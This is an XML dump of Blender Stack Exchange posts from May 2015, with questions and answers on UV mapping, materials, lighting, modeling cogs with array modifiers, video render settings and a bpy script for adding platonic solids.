  <row Id="31120" PostTypeId="1" AcceptedAnswerId="31122" CreationDate="2015-05-19T20:07:21.163" Score="5" ViewCount="2370" Body="&lt;p&gt;In solid mode with textured solid checked, A model will show the material color until any face on the model is &quot;attached to an image&quot; (have the face selected, and open an image in the UV image editor). The model will then turn white. Is there any way to revert this? I'm using internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MjQMj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we are in textured solid mode. The green cube has a green material. I selected the green cube, enter edit mode, select a face, then change the image in the UV image editor. A UV map that I never created appears, and the cube  turns white:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aw1hP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it green again while still showing the texture on the checkered cube&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-05-19T20:43:04.040" LastActivityDate="2015-05-20T01:46:23.420" Title="Make materials colors show on textured solid?" Tags="&lt;uv&gt;&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;&lt;image&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31121" PostTypeId="1" AcceptedAnswerId="31882" CreationDate="2015-05-19T20:21:04.973" Score="5" ViewCount="3527" Body="&lt;p&gt;I have a set of vertices in an spreadsheet from which I want to make an object. I only need it to connect the vertices and then fill in the faces. How can I do this in Blender? &lt;/p&gt;&#xA;" OwnerUserId="14467" LastEditorUserId="3078" LastEditDate="2015-06-03T21:01:55.920" LastActivityDate="2015-06-04T17:09:23.770" Title="How can I connect a set of vertices to make a 3D model, with a script?" Tags="&lt;scripting&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ClosedDate="2015-06-09T15:07:48.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="31122" PostTypeId="2" ParentId="31120" CreationDate="2015-05-19T20:39:07.770" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider Delete the UV Map&lt;/li&gt;&#xA;&lt;li&gt;Add a new UV Map if desired&lt;/li&gt;&#xA;&lt;li&gt;Assuming the first UV Map was a quick and easy inspection&lt;/li&gt;&#xA;&lt;li&gt;Please note that the Blender User can have multiple 3D View type windows.  Not all windows are simultaneously affected by this inconvenience.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-19T20:44:36.193" LastActivityDate="2015-05-19T20:44:36.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31123" PostTypeId="1" CreationDate="2015-05-19T20:50:02.520" Score="2" ViewCount="350" Body="&lt;p&gt;i'm trying to make a scene based in a spacecraft and a planet, but as you can see, some parts of the spacecraft seems really dark, and they appear in the render almost as if they dont exist.&#xA;How can i make them more prominent, or give them maybe more lighting? But at the same time without interfering with the background planet? maybe with two different layers and a new point based light? or self-illumination, if that's the case how can i do that on Cycles? Is it possible to make it appear, with a good reflection based on the background too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nWMR4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BOjXQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="241" LastEditDate="2015-05-19T22:55:50.433" LastActivityDate="2015-05-19T22:55:50.433" Title="How can i make my material more prominent?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31124" PostTypeId="2" ParentId="31123" CreationDate="2015-05-19T21:06:11.710" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider reflective glossy surfaces as dominates the NASA spacecraft.  Which is making me hungry for Jiffy Pop.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Viewer visible light fixtures are an option.  Viewer means the person seeing your image. You must judge the technical and artistic merit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Viewer invisible lights are an option.  Plane with EMISSION material.  Diffuse materials are to complement. Specular at your own risk. Consider parenting the light plane to the spacecraft.  To make them invisible to the user set the object option ... Visibility Panel ...  [Camera] to unchecked false.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider scaling the diffuse component.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider light groups for Blender Render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-19T21:12:52.270" LastActivityDate="2015-05-19T21:12:52.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31125" PostTypeId="2" ParentId="30915" CreationDate="2015-05-19T21:07:55.230" Score="2" Body="&lt;p&gt;As @zeffii noted, the main problem was that the faces were not really nice in my model (that, and the shape is just not very helpful in fact). I was using a rather stupid method to generate the faces, however, by generating each slice and so on (because I had that already implemented for other reasons). Later I found out Blender had a plug-in that can plot functions you type in some textbox, but that was not good enough for me because my function was too complicated for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out there is a very simple way to make a decent plot however. In the end I used &lt;a href=&quot;http://www.sagemath.org&quot; rel=&quot;nofollow&quot;&gt;Sage&lt;/a&gt; to plot my function (using implicit_plot3d), which generates a Sage Graphics object. This object contains a list of vertices and faces of the resulting mesh. You can save this and write a very short Blender/Python script to read the file and generate your mesh. This is a much better method! And Sage can handle any sort of complicated function you can come up with. The whole thing ends up being quite quick and painless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="14395" LastActivityDate="2015-05-19T21:07:55.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31126" PostTypeId="1" AcceptedAnswerId="31156" CreationDate="2015-05-19T21:08:00.220" Score="16" ViewCount="4228" Body="&lt;p&gt;I'm trying to figure out a good workflow for developing scripts and add-ons in Blender. Here's what I'm currently doing as I try my luck with a PyNode add-on:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open blender&lt;/li&gt;&#xA;&lt;li&gt;Create a text editor panel&lt;/li&gt;&#xA;&lt;li&gt;Open my script (external text file)&lt;/li&gt;&#xA;&lt;li&gt;Edit my script in a nice external editor&lt;/li&gt;&#xA;&lt;li&gt;Reload the script&lt;/li&gt;&#xA;&lt;li&gt;Save the .blend file&lt;/li&gt;&#xA;&lt;li&gt;Run the script&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now that I can see what my code does, this Blender instance has been modified, so I can't (make changes to my script and) run my script again. So I do this:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;8&quot;&gt;&#xA;&lt;li&gt;Close blender&lt;/li&gt;&#xA;&lt;li&gt;Open blender with the .blend from step 6 and repeat steps 4-7, over and over and over..&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a better workflow for this sort of thing?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="1448" LastEditDate="2015-05-20T15:42:05.720" LastActivityDate="2015-06-08T10:00:25.597" Title="Workflow for developing add-on/script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;workflow&gt;&lt;add-on&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31127" PostTypeId="1" AcceptedAnswerId="31129" CreationDate="2015-05-19T22:14:22.727" Score="7" ViewCount="1505" Body="&lt;p&gt;How do I remove them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pV0FF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't appear when using flat shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E3cBB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing in the scene can cause this.&lt;/p&gt;&#xA;" OwnerUserId="14469" LastEditorUserId="12820" LastEditDate="2015-05-19T22:32:13.057" LastActivityDate="2015-05-20T00:11:28.540" Title="Black reflections at extreme angles with glossy shader on smooth surfaces" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31128" PostTypeId="2" ParentId="31127" CreationDate="2015-05-19T22:20:37.107" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider using a mix shader in Cycles. Mix a combo of diffuse dominantly and and gloss to a lesser degree.&lt;/li&gt;&#xA;&lt;li&gt;Replace your first shader with the mix shader then add the gloss and diffuse&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-19T22:20:37.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31129" PostTypeId="2" ParentId="31127" CreationDate="2015-05-19T22:20:59.140" Score="6" Body="&lt;p&gt;The problem occurs in smooth shading because it changes the way the shading is calculated across the surfaces, giving the illusion of a smooth surface even if the angle between the faces is sharp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To correct that, add edge split modifier while all faces are set to smooth shading.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-20T00:11:28.540" LastActivityDate="2015-05-20T00:11:28.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31130" PostTypeId="1" AcceptedAnswerId="31131" CreationDate="2015-05-19T22:24:42.797" Score="1" ViewCount="204" Body="&lt;p&gt;I'd like to make the active selection color different because I can barely see it when I'm selecting faces. I have an object that I'm trying to UV map, and there are some tiny faces that haven't unwrapped the way I expected, which I can see in the UV map editor, but can't find in 3D view because the active selection is too hard to see.&lt;/p&gt;&#xA;" OwnerUserId="14468" LastActivityDate="2015-05-19T22:30:31.007" Title="Is there a way to make the active selection more noticeable?" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31131" PostTypeId="2" ParentId="31130" CreationDate="2015-05-19T22:30:31.007" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pv74b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch you view to user preferences. Select 3D View from the left.  You will find what you need&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider Zooming.  Number Pad (.) period then you can zoom at center.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;User preferences allows you increase the size of the outline and vertex dots&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-19T22:30:31.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31132" PostTypeId="1" CreationDate="2015-05-19T22:44:42.547" Score="1" ViewCount="1341" Body="&lt;p&gt;I currently am unable to find the options to use the GPUs I have to render some footage in blender. Im using the Blender Rendering engine, but I dont have an option to use the GPUs, even though I enabled CUDA rendering in the preferences. Thanks for any help or insight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My GPUs are GTX 980s, and I have the most recent driver installed.&lt;/p&gt;&#xA;" OwnerUserId="14419" LastActivityDate="2015-05-19T22:54:47.603" Title="How to use GPU in Blender Render?" Tags="&lt;blender-internal-render-engine&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-05-19T23:11:17.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="31134" PostTypeId="1" AcceptedAnswerId="31137" CreationDate="2015-05-19T23:11:30.157" Score="6" ViewCount="1098" Body="&lt;p&gt;I have a cog wheel and I want to make the spokes a bit longer than they are. I can select the tip of one and drag it out a bit, but how do I precisely measure how much I've moved something so that I can then move all the other tips the same distance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't have uneven cog spokes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iiwbh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1506" LastEditorUserId="1506" LastEditDate="2015-05-20T11:18:30.527" LastActivityDate="2015-05-20T15:26:45.933" Title="How do you move multiple faces by equal increments?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31135" PostTypeId="2" ParentId="31134" CreationDate="2015-05-19T23:18:55.417" Score="4" Body="&lt;p&gt;Blender can move more than one face at once by various means.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can extrude more than one face at time.  Be in &lt;code&gt;Face Select&lt;/code&gt; mode.  Depicted in the image below (vertex, edge, face enabled).  Select your faces.  Use &lt;kbd&gt;shift&lt;/kbd&gt; + click.  Then &lt;kbd&gt;E&lt;/kbd&gt; to extrude. &lt;kbd&gt;Return&lt;/kbd&gt; Key. Selection is still there. &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; to move face on normals (See menu Mesh/Transfrom/Shrink Fatten).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tq6pC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to casually work, you can place a cylinder around the cog as a circular guide.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The same circular guide can be used as target for shrink wrap modifier.  You must create a vertex group for the faces on the teeth of the cog.&#xA;Shrink Wrap  can be applied:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YKfCu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yd6xS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-20T09:03:05.650" LastActivityDate="2015-05-20T09:03:05.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31136" PostTypeId="1" CreationDate="2015-05-19T23:38:39.027" Score="5" ViewCount="184" Body="&lt;p&gt;After watching the following tutorial, I thought I was going to customize it a bit and add a dodecahedron in the place of the ico sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutorial that I followed&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=F-cgCXg7Z3o&quot;&gt;https://www.youtube.com/watch?v=F-cgCXg7Z3o&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned in the tutorial, I found out via the console, that to add a dodecahedron, Blender runs the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_solid_add(source='12')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So below was my best guess at implementing it and it doesn't work. Any idea how I'd go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;from math import sin, cos, radians&#xA;&#xA;primitive_add = bpy.ops.mesh.primitive_solid_add&#xA;&#xA;# get cursor loc - Script Modified by SardiPax&#xA;cursor = context.scene.cursor_location&#xA;&#xA;radialdist = 2.0&#xA;&#xA;xsize = 0.15&#xA;ysize = 0.15&#xA;zsize = 0.15&#xA;&#xA;theta = 0.0&#xA;pi_over_8 = 6.28 / 16.0&#xA;&#xA;levels = -10&#xA;maxlevels = 10&#xA;divi = 2.0&#xA;inci = 0.25&#xA;&#xA;while levels &amp;lt; maxlevels:&#xA;&#xA;    while theta &amp;lt; 6.28:&#xA;           x = cursor.x + (radialdist-(levels+ 2*cos (theta+levels/divi))) * cos (theta-levels/divi)&#xA;           y = cursor.x + (radialdist-(levels+ 2*sin (theta-levels/divi))) * sin (theta-levels/divi)&#xA;           z = cursor.z+levels&#xA;           bpy.ops.mesh.primitive_solid_add(source='12',location=(x, y, z))&#xA;&#xA;           bpy.ops.transform.resize(value=(xsize* cos (theta-levels/divi), ysize* cos (theta-levels/divi),  zsize* cos (theta-levels/divi)), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1, snap=False, snap_target='CLOSEST', snap_point=(0, 0, 0), snap_align=False, snap_normal=(0, 0, 0), texture_space=False, release_confirm=False)&#xA;           theta += pi_over_8&#xA;&#xA;    theta = 0.0&#xA;    levels += inci&#xA;&#xA;radialdist = 1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also at: &lt;a href=&quot;https://gist.github.com/robksawyer/93597658ccc75fba324e&quot;&gt;https://gist.github.com/robksawyer/93597658ccc75fba324e&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following addon:&#xA;&lt;a href=&quot;https://github.com/jaredly/blender-addons/blob/master/add_mesh_solid.py&quot;&gt;https://github.com/jaredly/blender-addons/blob/master/add_mesh_solid.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14416" LastActivityDate="2015-05-20T00:14:57.353" Title="Can't Add Platonic Solids in Blender via Script" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31137" PostTypeId="2" ParentId="31134" CreationDate="2015-05-19T23:49:05.427" Score="8" Body="&lt;p&gt;&lt;strong&gt;For symmetrical shapes the best method is to use array modifier.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete all the faces leaving only one cog then change to object mode and add an empty in the origin of the gear and rotate the empty 45 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SrA70.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add array modifier on the gear object, set count to 8, disable &lt;strong&gt;Relative Offset&lt;/strong&gt;. Then enable &lt;strong&gt;Object Offset&lt;/strong&gt; and select empty from the selection box and enable &lt;strong&gt;Merge&lt;/strong&gt; and &lt;strong&gt;First and Last.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ulUaW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can control the gear shape by modifying only on cog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VHvAK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-19T23:49:05.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31138" PostTypeId="2" ParentId="31134" CreationDate="2015-05-20T00:02:10.250" Score="4" Body="&lt;p&gt;You can precisely define the value of any element's movement. After pressing &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;S&lt;/kbd&gt; or &lt;kbd&gt;R&lt;/kbd&gt; and selecting the desired transformation axis (press &lt;kbd&gt;x&lt;/kbd&gt;,&lt;kbd&gt;y&lt;/kbd&gt; or &lt;kbd&gt;z&lt;/kbd&gt;) you may input the number from the numerical keyboard. As pictured below I selected the edge of the spoke, pressed &lt;kbd&gt;G&lt;/kbd&gt;, then &lt;kbd&gt;Y&lt;/kbd&gt; and then 0.2&#xA;&lt;img src=&quot;https://i.stack.imgur.com/paRL6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the spoke's edges and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;--&gt;Snap--&gt;Cursor to Selected&lt;/em&gt;. It will place the cursor in the center. Set the pivot point type to a &lt;em&gt;3D Cursor&lt;/em&gt;. Press &lt;kbd&gt;S&lt;/kbd&gt; and input the desired transformation value. You may also enable the &lt;strong&gt;&lt;em&gt;Snap Tool&lt;/em&gt;&lt;/strong&gt; (click the magnet icon, and change the snapping type to &lt;em&gt;Increment&lt;/em&gt;). It will allow you to increase the spoke's lenght very precisely while scaling (hold &lt;kbd&gt;Shift&lt;/kbd&gt; while scaling and you'll be able to change the lenght's value in smaller increments).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ex457.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now change the pivot point type to &lt;em&gt;Individual Origins&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/228ST.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; and input the desired value to make all the spokes scale the same way.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KlBxQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-05-20T15:26:45.933" LastActivityDate="2015-05-20T15:26:45.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31139" PostTypeId="2" ParentId="31136" CreationDate="2015-05-20T00:14:57.353" Score="2" Body="&lt;p&gt;first you have to add the add mesh: Extra Objects...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yo1Rv.png&quot; alt=&quot;extra objects&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, first try with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_solid_add(source='12')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;best&lt;/p&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-05-20T00:14:57.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31140" PostTypeId="1" AcceptedAnswerId="31151" CreationDate="2015-05-20T00:50:16.013" Score="3" ViewCount="2382" Body="&lt;p&gt;I am trying to import a model in unity from blender. But using FBX is a total disaster, collada looks &quot;better&quot;, at least I can recognize the arms and legs.&#xA;This is the link for the original blend file:&#xA;&lt;a href=&quot;https://copy.com/DHMZ4ACjSoyYroAm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://copy.com/DHMZ4ACjSoyYroAm&lt;/a&gt;&#xA; &lt;img src=&quot;https://i.stack.imgur.com/jj0eC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hopefully someone can give me a clue, thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3729" LastActivityDate="2015-10-07T09:46:07.837" Title="exporting animated model to unity 5 totally deform the mesh" Tags="&lt;export&gt;&lt;rigging&gt;&lt;import&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31141" PostTypeId="1" AcceptedAnswerId="31158" CreationDate="2015-05-20T00:56:15.227" Score="3" ViewCount="8455" Body="&lt;p&gt;Hello while I understand this is a 3d animation software not a video editing software, I have heard of people getting great quality videos with the video editing feature in blender. I watched a few tutorials and researched settings for good video quality but for some reason I cannot get good video output. No matter the render settings I use my video ends up pixelated and terrible looking (source file is great quality).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am basically trying to render gaming videos at 1080p, 60fps for Youtube I don't know what I am doing wrong but I can't seem to render a good quality video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below settings I found on the internet which was recommended for Youtube but quality wasn't very good after my testing&#xA;Format = xvid&#xA;container = AVI&#xA;codac = h.264&#xA;bitrate=10000&#xA;min-rate 7000&#xA;max-rate 15000&#xA;Gop-size=15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;settings below I configured myself to try get the best but still didn't work&#xA;format = H.264&#xA;Codac = H.264&#xA;bitrate = 10000&#xA;min=rate=5000&#xA;max-rate=20000&#xA;buffer=2000&#xA;GOP size=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Has anybody got a better render setting that I could try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated and thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="14471" LastEditorUserId="3401" LastEditDate="2015-12-22T18:01:08.387" LastActivityDate="2020-05-28T01:56:00.110" Title="Video output is bad quality" Tags="&lt;rendering&gt;&lt;export&gt;&lt;video&gt;" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31142" PostTypeId="1" AcceptedAnswerId="31165" CreationDate="2015-05-20T01:44:18.703" Score="2" ViewCount="1202" Body="&lt;p&gt;I am making a pair of pants and I am wondering if sculpting or using cloth stimulation would be better for creating wrinkles.&lt;/p&gt;&#xA;" OwnerUserId="13828" LastActivityDate="2015-05-20T09:20:50.300" Title="Wrinkles or cloth stimulation" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31143" PostTypeId="2" ParentId="31120" CreationDate="2015-05-20T01:46:23.420" Score="0" Body="&lt;p&gt;It's a little strange but, as you have discovered: selecting an image in the uv editor dropdown &lt;em&gt;while in edit mode with one or more faces selected&lt;/em&gt; is the mechanic for assigning an image to those face(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when the object owning the selected faces has no uvmap, the above operation forces a new one to be made. In a &quot;blank&quot;, new uvmap, &lt;em&gt;every&lt;/em&gt; quad is mapped to the entire 0,0-&gt;1,1 UV space. Not sure what the defaults are for other poly types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be argued that in textured solid a face with a uvmap but no image should fall back to the material; it's certainly possible to have a uvmap on an object just to control a procedural material's scale and warp; I usually use a set of colored test grids for that personally, but they mean nothing to the render.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2015-05-20T01:46:23.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31144" PostTypeId="1" AcceptedAnswerId="31146" CreationDate="2015-05-20T01:49:55.970" Score="7" ViewCount="645" Body="&lt;p&gt;I've made a tile grid where every face is disconnected from other faces ( no common vertices ). I would like to get a following effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvhFR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead I get following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KEmvj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can use proportional editing for faces only, not vertices ?&lt;/p&gt;&#xA;" OwnerUserId="14472" LastEditorUserId="241" LastEditDate="2020-05-26T15:16:44.980" LastActivityDate="2020-05-26T15:16:44.980" Title="Use Proportional Editing for whole faces not individual vertices" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;proportional-editing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31145" PostTypeId="1" CreationDate="2015-05-20T02:11:58.243" Score="1" ViewCount="35" Body="&lt;p&gt;I've highlighted the lines. Tried merging the vertices, but no dice. Not sure how to make it like the bottom picture. The other side ended up pretty well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I6veJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13169" LastActivityDate="2015-05-20T02:11:58.243" Title="Merging isn't solving this. Line apparent in Object Mode" Tags="&lt;outliner&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
